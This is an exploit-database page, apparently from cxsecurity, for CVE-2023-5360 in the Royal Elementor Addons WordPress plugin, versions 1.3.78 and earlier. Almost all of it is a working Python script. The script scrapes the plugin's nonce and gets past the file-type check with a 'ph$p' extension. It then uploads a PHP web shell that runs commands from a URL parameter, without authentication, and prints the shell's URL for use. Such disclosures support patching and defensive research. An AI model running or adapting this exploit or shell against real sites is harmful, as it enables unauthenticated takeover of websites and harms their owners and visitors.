Royal Elementor Addons and Templates 1.3.78 Unauthenticated Arbitrary File Upload

2025.04.06
Risk: High
Local: No
Remote: Yes
CWE: CWE-264

# Exploit Title: WordPress Plugin Royal Elementor Addons <= 1.3.78 - Unauthenticated Arbitrary File Upload (RCE) # Date: 2025-04-04 # Exploit Author: Sheikh Mohammad Hasan (https://github.com/4m3rr0r) # Vendor Homepage: https://royal-elementor-addons.com # Software Link: https://downloads.wordpress.org/plugin/royal-elementor-addons.1.3.78.zip # Version: <= 1.3.78 # Tested on: WordPress 6.3.1, Royal Elementor Addons 1.3.78, Ubuntu 22.04 + Apache2 + PHP 8.1 # CVE: CVE-2023-5360 # Description: # The Royal Elementor Addons and Templates WordPress plugin before 1.3.79 does not properly validate uploaded files, # which allows unauthenticated users to upload arbitrary files (such as .php), leading to Remote Code Execution (RCE). import requests import json import re import argparse import tempfile from urllib.parse import urljoin from rich.console import Console requests.packages.urllib3.disable_warnings() console = Console() def get_nonce(target): try: r = requests.get(target, verify=False, timeout=10) m = re.search(r'var\s+WprConfig\s*=\s*({.*?});', r.text) if m: nonce = json.loads(m.group(1)).get("nonce") return nonce except: pass return None def upload_shell(target, nonce, file_path): ajax_url = urljoin(target, "/wp-admin/admin-ajax.php") with open(file_path, "rb") as f: files = {"uploaded_file": ("poc.ph$p", f.read())} data = { "action": "wpr_addons_upload_file", "max_file_size": 0, "allowed_file_types": "ph$p", "triggering_event": "click", "wpr_addons_nonce": nonce } try: r = requests.post(ajax_url, data=data, files=files, verify=False, timeout=10) if r.status_code == 200 and "url" in r.text: resp = json.loads(r.text) return resp["data"]["url"] except: pass return None def generate_default_shell(): with tempfile.NamedTemporaryFile(delete=False, suffix=".php") as tmp: shell_code = '<?php echo "Shell by 4m3rr0r - "; system($_GET["cmd"]); ?>' tmp.write(shell_code.encode()) return tmp.name def main(): parser = argparse.ArgumentParser(description="Royal Elementor Addons <= 1.3.78 - Unauthenticated Arbitrary File Upload (RCE)") parser.add_argument("-u", "--url", required=True, help="Target WordPress URL (e.g., https://target.com/)") parser.add_argument("-f", "--file", help="Custom PHP shell file to upload") args = parser.parse_args() console.print("[cyan][*] Getting nonce from WprConfig JS object...[/cyan]") nonce = get_nonce(args.url) if not nonce: console.print("[red][-] Failed to retrieve WprConfig nonce.[/red]") return console.print(f"[green][+] Nonce found: {nonce}[/green]") if args.file: shell_file = args.file console.print(f"[cyan][*] Using provided shell: {shell_file}[/cyan]") else: console.print("[cyan][*] No shell provided. Creating default RCE shell...[/cyan]") shell_file = generate_default_shell() console.print(f"[green][+] Default shell created at: {shell_file}[/green]") console.print("[cyan][*] Uploading shell...[/cyan]") uploaded_url = upload_shell(args.url, nonce, shell_file) if uploaded_url: console.print(f"[green][+] Shell uploaded successfully: {uploaded_url}[/green]") if not args.file: console.print(f"[yellow][>] Access it with: {uploaded_url}?cmd=id[/yellow]") else: console.print("[red][-] Upload failed. Target may be patched or not vulnerable.[/red]") if __name__ == "__main__": main()


Vote for this issue:
50%
50%

Comment it here.

Copyright 2025, cxsecurity.com

 

Back to Top